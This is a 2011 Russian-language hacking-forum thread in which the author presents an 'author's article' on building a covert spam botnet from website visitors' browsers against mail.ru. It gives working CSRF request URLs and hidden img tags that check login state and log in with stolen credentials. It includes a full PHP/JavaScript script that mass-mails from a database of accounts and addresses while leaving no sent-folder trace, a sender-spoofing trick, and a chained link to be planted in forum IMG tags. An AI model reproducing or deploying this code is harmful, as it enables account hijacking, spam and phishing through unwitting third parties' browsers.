Авторские статьи Спам-ботнет из браузеров

Discussion in 'Статьи' started by M_script, 11 Jul 2011.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Такое определение ботнета дает википедия.
    В своей статье я покажу, как можно использовать браузер посетителя сайта в качестве бота.
    Конечно, это далеко не полноценный ботнет, но свою задачу выполняет - скрыто рассылает письма с компьютеров пользователей.
    В качестве примера будет рассматриваться почтовый сервис mail.ru.


    Начнем с того, что должен уметь наш "ботнет":
    1. Проверять, авторизован ли пользователь на сайте почтового сервиса.
    2. Если пользователь не авторизован, брать из базы аккаунт и заходить на сайт.
    2.1. Проверять успешность авторизации.
    3. Отправлять письмо, не оставляя следов (исходящих писем в ящике)


    1. Проверка авторизации на сайте.
    Чем отличается авторизованный пользователь сайта от неавторизованного?
    а) куки
    б) различное отображение страниц либо запрет на доступ к некоторым страницам
    Куки можно проверить при наличии XSS на сайте. Но найти на крупном почтовом сервисе XSS достаточно сложно, так что этот вариант пропускаем.
    Получить страницу сайта и узнать о ней хоть какую-нибудь информацию без XSS тоже не получится.
    Единственный способ - события onload и onerror тэга img. Если файл, указанный в src является картинкой, вызывается обработчик onload, иначе onerror.
    Остается найти на сайте картинку, доступ к которой разрешен только авторизованным пользователям.
    Такие картинки существуют, например на gmail'е авторизацию можно было проверить с помощью http://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png (пофиксили около месяца назад)
    Поиски подобных багов на мэйлру ни к чему не привели. Изображения там хранятся на отдельных поддоменах и доступны всем, независимо от авторизации.

    Проверив различные запросы в соц.сети МойМир я обнаружил, что в некоторых из них передается параметр "back=http://my.mail.ru/*******", который указывает адрес возврата при успешном выполнении запроса (только домены мэйлру).
    В большинстве таких запросов есть защита от CSRF в виде рандомных параметров "mna" и "mnb", но при редактировании анкеты эти параметры не передаются.
    Пример POST-запроса на сохранение вкладки "интересы":
    http://my.mail.ru/[Домен]/[Логин]/editinfo
    page=&Figure=0&Height=0&Weight=0&Eyes=0&Hair=0&Childs=0&Residence=0&Routine=0&Smoke=0&Alcohol=0&Languages=-1&ReligionCustom=&Politics=&Interests=&Music=&Cinema=&TV=&Books=&Persons=&back=http://my.mail.ru/my/editinfo&Save=1

    Запрос успешно работает через GET (как и большинство запросов mail.ru). Кроме того, единственными неодходимыми параметрами для успешного выполнения запроса являются "Save" и "back".
    Но еще более интересно то, что [Домен] и [Логин] в адресе скрипта не имеют никакого значения.
    Теперь находим любую картинку, например http://img.mail.ru/r/dumb.gif (1x1 px), и подставляем в параметр "back".
    Получилась рабочая ссылка для проверки авторизации в соц.сети МойМир - http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif
    Код проверки:
    PHP:
    <img src=http://my.mail.ru/bk/x/editinfo?Save=1&back=http://img.mail.ru/r/dumb.gif onload=alert('good') onerror=alert('bad') width=0 >
    К сожалению, эта проверка не срабатывала, если на мыле не был создан моймир. Еще немного поискав, нашел ссылку, подходящую для любых ящиков мэйлру:
    PHP:
    <img src=http://e.mail.ru/cgi-bin/modifyevent?confirm=1&remove.x=0&remove.y=0&next_page=http://img.mail.ru/r/dumb.gif onload=alert('good') onerror=alert('bad') width=0 >
    [offtop]аналогичная ссылка для проверки авторизации ВК - http://vkontakte.ru/login.php?to=ZmF2aWNvbi5pY28 (favicon.ico в base64)[/offtop]

    2. Авторизация
    http://e.mail.ru/cgi-bin/auth
    Login - логин
    Domain - mail.ru|inbox.ru|list.ru|bk.ru
    Password - пароль
    page - страница, на которую редиректит в случае успешной авторизации
    login_from - поддомен, с которого авторизуется пользователь
    post - если неавторизованный пользователь пытается отправить POST-запрос, его перекидывает на страницу авторизации, а параметры запроса сохраняются в базе под уникальным идентификатором. В этом параметре передается идентификатор и если он есть в базе, то после авторизации выполняется соответствующий POST-запрос.
    level=1 - чужой компьютер

    Параметры "login_from" и "post" необязательные. "Domain" тоже можно убрать, если в "Login" передавать логин@домен
    "level" и "page" тоже являются необязательными, но они нам пригодятся.
    level=1 - чтобы юзер не заметил, что с его компа рассылались письма
    page=http://img.mail.ru/r/dumb.gif - чтобы проверить успешность авторизации с помощью тэга img. Даже если все аккаунты будут валидными, эта проверка необходима, так как мэйлру может заблокировать IP-адрес и авторизоваться с него будет невозможно.

    Изучая авторизацию через различные поддомены мэйлру, на m.mail.ru находим еще один интересный параметр - "FailPage". Это адрес возврата, в случае неудачной авторизации.
    Обычная страница ошибки авторизации весит достаточно много, поэтому надо заменить ее на что-нибудь поменьше, например на http://img.mail.ru/ (403 Forbidden).

    2.1. Варианты кода авторизации с проверкой
    На поддомене m.mail.ru в параметрах "page" и "FailPage" можно использовать относительные пути, что сокращает длину ссылки. Но в случае успешной авторизации происходит дополнительный запрос:
    http://m.mail.ru/cgi-bin/checkcookie?id=[Хэш длиной более 100 симоволов]&user=[Логин]&domain=[Домен]&page=[Страница возврата]
    поэтому объем трафа больше, чем на e.mail.ru
    PHP:
    <img src=http://e.mail.ru/cgi-bin/auth?level=1&Login=[Логин@Домен]&Password=[Пароль]&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/ onload=alert('good') onerror=alert('bad') width=0 >
    2-2.5кб при успешной авторизации. 1.5-2кб при ошибке
    PHP:
    <img src=http://m.mail.ru/cgi-bin/auth?level=1&Login=[Логин@Домен]&Password=[Пароль]&page=../img/at.png&FailPage= onload=alert('good') onerror=alert('bad') width=0 >
    4кб (+2кб картинка) при успешной авторизации. 2кб при ошибке

    3. Отправка письма
    Пример запроса отправки через e.mail.ru показывал XAMEHA в соседней теме - https://forum.antichat.ru/showpost.php?p=2705452&postcount=4
    Минимально необходимые параметры для отправки:
    http://e.mail.ru/cgi-bin/sentmsg
    ajax_call=1 - обязательный параметр
    func_name=send - обязательный параметр
    send= - обязательный параметр
    HTMLMessage=1 - для использования HTML-разметки в теле письма
    To - кому
    Subject - тема письма
    Body - содержание письма

    Отправка письма через m.mail.ru отличается отсутствием обязательных параметров "ajax_call" и "func_name".
    При использовании e.mail.ru результат возвращается в JSON-формате. На m.mail.ru происходит редирект на страницу вида http://m.mail.ru/cgi-bin/sendmsgok?ab01=ab01&mode=newmsg&id_sent=01234567890123456789&To=01234567890abcdef01234567890abcdef&Subject=0123456&From=01234567890abcdef01234567890abcdef01234567890abcdef01234567890ab&user=01234567890abcdef01234567890abcdef
    Объем трафа при отправке через m.mail.ru примерно в 2 раза больше, чем e.mail.ru (около 12кб и 6кб соответственно).
    [offtop]На данный момент отправка писем методом GET через m.mail.ru и e.mail.ru невозможна.[/offtop]

    Для реализации "ботнета" всего вышеописанного уже было достаточно, но недавно A-Graff рассказал мне еще о двух различных веб-интерфесах мэйлру - pro.mail.ru и wap.mts.mail.ru
    Отправка письма на pro.mail.ru так же уязвима к CSRF и работает через GET-запрос. Кроме того, при удалении из запроса некоторых параметров, отправленные письма перестают сохраняться в папке "исходящие".
    Использование метода GET для отправки позволит контролировать запрос событием onerror и после его завершения брать новые аккаунты, мыла и тексты из базы для продолжения рассылки.

    http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1&func_name=ajax_send_msg
    data=
    [{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]
    PHP:
    <img src=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1&func_name=ajax_send_msg&data=%5B%7B%22To%22:%22[Кому]%22,%22Subject%22:%22[Тема]%22,%22Body%22:%22[Содержание]%22,%22HTMLMessage%22:1,%22send%22:1%7D%5D onerror=alert('sent') width=0 >
    [offtop]
    На поддомене pro.mail.ru в запросе отправки можно увидеть параметр "From", в котором указывается имя отправителя.
    Это имя можно заменить на любое другое и оно будет отображаться у получателя в списке писем. Но при открытии письма виден адрес, с которого оно отправлено.
    Отправка в параметре "From" измененного адреса отправителя (например "Команда Mail.Ru <[email protected]>") не дает результата, получатель все равно видит реальный адрес ("Команда Mail.Ru <[email protected]>").
    Но если "From" добавлять в заголовок при отправке писем с wap.mts.mail.ru (а также еще с нескольких других поддоменов), адрес отправителя можно заменить на любой, даже "Команда Mail.Ru <[email protected]>"
    [/offtop]
     
    #1 M_script, 11 Jul 2011
    Last edited: 12 Jul 2011
    5 people like this.
  2. gibson

    gibson Elder - Старейшина

    Joined:
    24 Feb 2006
    Messages:
    391
    Likes Received:
    247
    Reputations:
    88
    Тоже когда то интересовался этой темой.
    вот что нашел в инете

     
  3. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    https://forum.antichat.ru/showpost.php?p=1748341&postcount=9
    Это до сих пор актуально. Через games.mail.ru успешная авторизация около 1кб, неудачная - 0.5кб. Но нельзя проверить результат через JS, поэтому не подходит в данном случае
     
    #3 M_script, 11 Jul 2011
    Last edited: 11 Jul 2011
  4. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Примеры реализации. Вариант 1

    В этом примере не проверяется, авторизован пользователь на мэйлру или нет.
    Из базы берется аккаунт, список адресов и тексты. Отправляется запрос авторизации.
    В случае успешной авторизации, отправляется письмо. Если произошла ошибка авторизации, адреса возвращаются в базу для использования последующими аккаунтами.
    Для рассылки нужен iframe траф.

    Примечание:
    Internet Explorer блокирует куки на запись если домен, на который ставятся куки, не соответствует домену в адресной строке браузера.
    То есть, если картинка или фрейм с запросом авторизации расположены не на домене mail.ru, проверить валидность аккаунта можно, но отправить письмо нельзя, так как куки после авторизации записаны не будут.
    Единственный вариант - авторизоваться в отдельном окне функцией open.
    Ссылки с рекламных баннеров, размещаемых на мейлру проходят через редирект на поддомене мэйлру вида http://r.mail.ru/n00000000
    Это позволяет поставить страницу возврата после авторизации на один из этих сайтов.
    Страница возврата будет одинаковой, независимо от результата авторизации, чтобы пользователь не заметил запрос к мэйлру.

    Самая простая и надежная проверка браузера IE - if('\v'=='v')
    Если '\символ' не является escape-последовательностью, слэш игнорируется, то есть '\символ' == 'символ'
    По неизвестным причинам, IE (единственный из всех браузеров) не поддерживает вертикальную табуляцию, поэтому '\v'=='v' возвращает true.

    PHP:
    <?
    include(
    'config.php'); // в конфиге прописано подключение к БД

    if(isset($_POST['to'])) // если авторизация не пройдена, мыла будут использоваться при следующей отправке
    {
        
    $mail_list explode(','$body);
        
    $mail_count count($mail_list);
        for(
    $i 0$i $mail_count$i++)
        {
            
    mysql_query("UPDATE `mail` SET `used` = 0 WHERE `mail` = '" $mail_list[$i] . "'");
        }
        die();
    }

    // количество тем и текстов в базе
    $count_subj 100;
    $count_body 100;

    $count rand(1020); // количество мыл, на которые отправляется письмо одним запросом.

    $res mysql_query("SELECT `mail` FROM `mail` WHERE `used` = 0 LIMIT $count");
    mysql_query("UPDATE `mail` SET `used` = 1 WHERE `used` = 0 LIMIT $count");
    $to '';
    while(
    $row mysql_fetch_row($res))
    {
        if(
    strlen($to) > 0)
        {
            
    $to .= ',';
        }
        
    $to .= $row[0];
    }

    $res mysql_query("SELECT `acc` FROM `acc` WHERE `used` = 0 LIMIT 1");
    mysql_query("UPDATE `acc` SET `used` = 1 WHERE `used` = 0 LIMIT 1");
    list(
    $login$pass) = split(':'$row[0], 2); // аккаунты в формате login:pass

    $res mysql_query("SELECT `text` FROM `subj` WHERE `id` = "rand(1$count_subj));
    $row mysql_fetch_row($res);
    $subj $row[0];

    $res mysql_query("SELECT `text` FROM `body` WHERE `id` = "rand(1$count_body));
    $row mysql_fetch_row($res);
    $body $row[0];
    ?>

    <html>
    <body>
    <script>
    function addInput(inpParent, inpName, inpValue) // функция добавления полей на форму
    {
        var newInput = document.createElement('input');
        newInput.name = inpName;
        newInput.value = inpValue;
        inpParent.appendChild(newInput);
    }

    var newImg = new Image(); // создание картинки
    newImg.onload = function () // если авторизация прошла успешно, отправляется письмо
    {
        // отправка через m.mail.ru
        // newForm.action = 'http://m.mail.ru/cgi-bin/sentmsg?send=';

        // отправка через e.mail.ru
        newForm.action = 'http://e.mail.ru/cgi-bin/sentmsg?ajax_call=1&func_name=send&send=';
        document.body.appendChild(newForm);  // добавление формы на страницу

        addInput(newForm, 'HTMLMessage', '1');
        addInput(newForm, 'To', '<? echo($to); ?>');
        addInput(newForm, 'Subject', '<? echo($subj); ?>');
        addInput(newForm, 'Body', '<? echo($body); ?>');
        
        if('\v'=='v') // если браузер IE, авторизация в отдельном окне с редиректом на один сайтов, которые рекламирует мэйлру
        {
            // авторизация через m.mail.ru
            // open('http://m.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');

            // авторизация через e.mail.ru
            open('http://e.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://r.mail.ru/n71448410&FailPage=http://r.mail.ru/n71448410');
            setTimeout('newForm.submit()', 5000); // нажатие кнопки отправки с задержкой, чтобы аккаунт успел авторизоваться.
        }
        else
        {
            newForm.submit(); // отправка запроса
        }
    };
    newImg.onerror = function () // при ошибке авторизации 
    {
        document.body.appendChild(newForm); // добавление формы на страницу
        addInput(newForm, 'to', '<? echo($to); ?>');
        newForm.submit(); // отправка запроса
    };
    // авторизация через m.mail.ru
    // newImg.src = 'http://m.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=../img/at.png&FailPage=';

    // авторизация через e.mail.ru
    newImg.src = 'http://e.mail.ru/cgi-bin/auth?level=1&Login=<? echo($login) ?>&Password=<? echo($pass) ?>&page=http://img.mail.ru/r/dumb.gif&FailPage=http://img.mail.ru/';

    var newForm = document.createElement('form'); // создание формы
    newForm.method = 'POST';

    document.body.appendChild(newImg); // добавление картинки на страницу
    </script>
    </body>
    </html>
     
    #4 M_script, 11 Jul 2011
    Last edited: 12 Jul 2011
    2 people like this.
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Примеры реализации. Вариант 2

    Продолжая изучение мэйлру, в самом низу списка папок почтового ящика заметил "Архив М-Агента".
    Так как мэйл-агентом я не пользовался, архив оказался пуст и мне предложили на выбор 2 ссылки - "Загрузить программу Mail.Ru Агент" и "Воспользоваться веб-версией Mail.Ru Агента"
    Посмотрел исходник страницы. Первая ссылка обычная - <a href="http://agent.mail.ru/" target="_blank">
    Вторая оказалась интересней. Она через window.open открывала окно http://swa.mail.ru/cgi-bin/auth?Page=http%3A//webagent.mail.ru/webagent&FailPage=http%3A//webagent.mail.ru/auth
    Это обычный скрипт авторизации, но без параметров Login, Domain и Password. Если аккаунт уже авторизован, редирект на Page, если нет - на FailPage.
    Из других поддоменов запрос работает только на e.mail.ru, с остальных идет перенаправление на /cgi-bin/start

    Во время тестов столкнулся с проблемой. После авторизации аккаунта запрос http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ вместо прямого редиректа выдает
    Code:
    HTTP/1.1 200 OK
    ..
    <meta http-equiv="refresh" content="0;url=http://mail.ru/zero">
    В этом случае работа через тэг img становится невозможной.

    [offtop]Вместо http://img.mail.ru/r/dumb.gif нашел более короткую ссылку на картинку 1x1px - http://mail.ru/zero. В дальнейших примерах буду использовать ее[/offtop]

    Проверив различные варианты, обнаружил, что после отправки запроса http://auth.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero&FailPage=http://img.mail.ru/ (с последующим редиректом на http://win.mail.ru/cgi-bin/start) тот же запрос на e.mail.ru выдает уже прямой редирект "Location: http://mail.ru/zero". То есть, после одного прямого редиректа, все остальные редиректы так же становятся прямыми.
    Дальше удалось выяснить интересную особенность мэйлру - при неудачной авторизации куки не очищаются. Это значит, что с авторизованного аккаунта мэйлру можно выполнить заведомо неверный запрос авторизации и при этом не потерять текущую сессию.
    Для редиректа на FailPage достаточно указать хотя бы один обязательный параметр авторизации - Domain, Login или Password. Самый короткий параметр - Login, поэтому выбираем его.
    http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://mail.ru/zero%26FailPage=http://img.mail.ru/

    Теперь у нас есть возможность выбирать редиректы в зависимости от следующих ситуаций:
    1) пользователь авторизован
    2) пользователь не авторизован
    3) авторизация прошла успешно
    4) ошибка авторизации
    Так же есть возможность отправить письмо GET-запросом.

    Здесь начинается самое интересное. Меняем параметры запроса (красное - то, что было. зеленое - то, что стало):
    http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?
    Page=http://mail.ru/zero
    Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]
    %26FailPage=http://img.mail.ru/
    %26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526page=../img/at.png%2526FailPage=

    Еще одна замена:
    http://m.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=[Логин]%2526Password=[Пароль]%2526
    page=../img/at.png%2526FailPage=
    page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send_msg%252526data=[{"To":"[Кому]","Subject":"[Тема]","Body":"[Содержание]","HTMLMessage":1,"send":1}]


    Результат:
    http://auth.mail.ru/cgi-bin/auth?Login=x&FailPage=http://e.mail.ru/cgi-bin/auth?Page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%2526func_name=ajax_send_msg%2526data=[{"To":"
    [Кому]
    ","Subject":"
    [Тема]
    ","Body":"
    [Содержание]
    ","HTMLMessage":1,"send":1}]%26FailPage=http://m.mail.ru/cgi-bin/auth?Login=
    [Логин]
    %2526Password=
    [Пароль]
    %2526page=http://pro.mail.ru/cgi-bin/ajax_sendmsg?ajax_call=1%252526func_name=ajax_send_msg%252526data=[{"To":"
    [Кому]
    ","Subject":"
    [Тема]
    ","Body":"
    [Содержание]
    ","HTMLMessage":1,"send":1}]

    Полученная ссылка проверяет авторизацию пользователя на мэйлру. Если он авторизован, отправляется письмо. Если не авторизован, происходит авторизация и отправляется письмо.
    Исходник скрипта выкладывать не буду, потому что он почти ничем не отличается от https://forum.antichat.ru/showpost.php?p=2706687&postcount=12
    Ссылка на скрипт-картинку вставляется в бб-код IMG и рассылается по форумам. Каждый человек, открывший страницу форума, автоматически становится частью ботнета.
     
    #5 M_script, 12 Jul 2011
    Last edited: 26 Oct 2013
    2 people like this.
  6. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    Спустите в "Авторские статьи", а то залежалось тут.
     
    2 people like this.
  7. GAiN

    GAiN Elder - Старейшина

    Joined:
    2 Apr 2011
    Messages:
    2,550
    Likes Received:
    172
    Reputations:
    99
    интерестная статья, даже не представлял что можно трафиком с сайта такое делать
     
  8. Coques

    Coques New Member

    Joined:
    24 Apr 2010
    Messages:
    0
    Likes Received:
    4
    Reputations:
    0
    Интересно, нужно в сторону ВК покопать.